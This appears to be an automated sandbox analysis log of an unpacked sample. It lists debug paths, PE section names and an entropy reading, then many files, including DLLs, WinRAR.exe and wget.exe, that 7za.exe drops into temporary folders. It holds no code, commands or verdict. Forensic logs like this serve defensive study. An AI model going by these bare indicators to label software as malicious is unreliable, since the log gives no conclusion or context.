Source:	Binary string: D:\Projects\WinRAR\build\winrar32\Release\WinRAR.pdb source: WinRAR.exe.6.dr
Source:	Binary string: libGLESv2.dll.pdb source: libGLESv2.dll.6.dr
Source:	Binary string: C:\h\workspace\MXF_SDK_Modules\LICENSE\MOG_PAY_VERSION\label\vs100_x64\stage\bin\MXF_SDK_Modules_DataIO_1.4.22_vs10.pdb source: MXF_SDK_Modules_DataIO_1.4.22_vs10.dll.9.dr
Source:	Binary string: C:\ahpwc\mc\mc_adobe_sdk_dbginfo_win64_x64_release\mc_config_mp2v.pdb source: mc_config_mp2v.dll.9.dr
Source:	Binary string: C:\Code\BUILD\channels\Surface\Release\Surface.pdb source: Surface.dll.6.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u101\7261\build\windows-i586\jdk\objs\liblcms\lcms.pdb* source: lcms.dll.6.dr
Source:	Binary string: C:\Code\BUILD\channels\Win32_Font\Release\Win32_Font.pdb source: Win32_Font.dll.6.dr
Source:	Binary string: DL100AGM.pdb source: DL100AGM.dll0.6.dr

Source: jfxwebkit.dll.6.dr	Static PE information: section name: .unwante
Source: wget.exe.6.dr	Static PE information: section name: /4
Source: wget.exe.6.dr	Static PE information: section name: /14
Source: GFSDK_ShadowLib.win64.dll.6.dr	Static PE information: section name: text
Source: libGLESv2.dll.6.dr	Static PE information: section name: .00cfg
Source: libGLESv2.dll.6.dr	Static PE information: section name: .voltbl
Source: GFSDK_ShadowLib.win64.dll0.6.dr	Static PE information: section name: text

Source: d3dcompiler_47.dll.6.dr

Static PE information: 0x66D23DFC [Fri Aug 30 21:47:40 2024 UTC]

Source: initial sample	Static PE information: section name: .text entropy: 6.90903234258047
Source: initial sample	Static PE information: section name: .text entropy: 6.95576372950548

Source: C:\Windows\SysWOW64\7za.exe

File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javacpl.cpl

Jump to dropped file

Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\ImageMetaData.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2iexp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100cht.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jawt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\dt_socket.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FModSound.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mfc100chs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\wsdetect.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jpeg.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GPUPerfAPIDX11-x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\sunmscapi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_enc_mp2sr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\decora_sse.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\nio.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\lcms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceCreation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\java_crw_demo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp2m.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_SoundFile2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\zip.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PlugPlugExternalObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mpa.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Tesselator.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp4v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\instrument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsoundds.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\net.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceFunction.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\bci.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_d3d.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\7z.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GFSDK_ShadowLib.win64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100PDFL.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100PDFL.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SceneContainerCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_mp2sr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\t2k.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\7z.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\sunec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\dcpr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceCreation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp4v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\CGRCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\WinRAR.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\splashscreen.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100AGM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GroupBuffer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceContainer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100AGM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FloatTexture.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_trans_audio_converter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfxwebkit.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mfc100chs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FileLoader.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\StyleTransfer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_demux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\setup64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_UserInput.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\JSONCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_sw.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jli.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_SysInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\XMLDOMCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\mlib_image.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_MotionSet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_TextOut.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_DirectInput.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_common.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PRM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\ESM_SaveTextFile.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceChannel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mpa.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GPUPerfAPIDX11-x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_enc_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\fxplugins.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Internet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\libGLESv2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\CopyImage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_mux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\PRM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcp120.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_trans_audio_converter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\WindowsAccessBridge.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2native.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_dec_spic.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\ImageStitcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp4v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mfc100cht.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\wget.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_MatrixInterpolateSet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_audio_converter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\deploy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\j2pcsc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_dec_spic.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JAWTAccessBridge.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\glass.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\fontmanager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp2m.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SAXParser.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsound.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\j2pkcs11.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_demux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\ssv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcr120.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\PlugPlugExternalObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsdt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\WinRAR.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\resource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Win32_Font.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DL100AGM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jdwp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FileDialog.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefHash.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GFSDK_ShadowLib.win64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfxmedia.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mpa.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javafx_iio.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_trans_video_framerate.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcr100.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\kcms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JAWTAccessBridge-32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_dec_spic.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100chs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_mux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jaas_nt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_enc_pcm.dll	Jump to dropped file
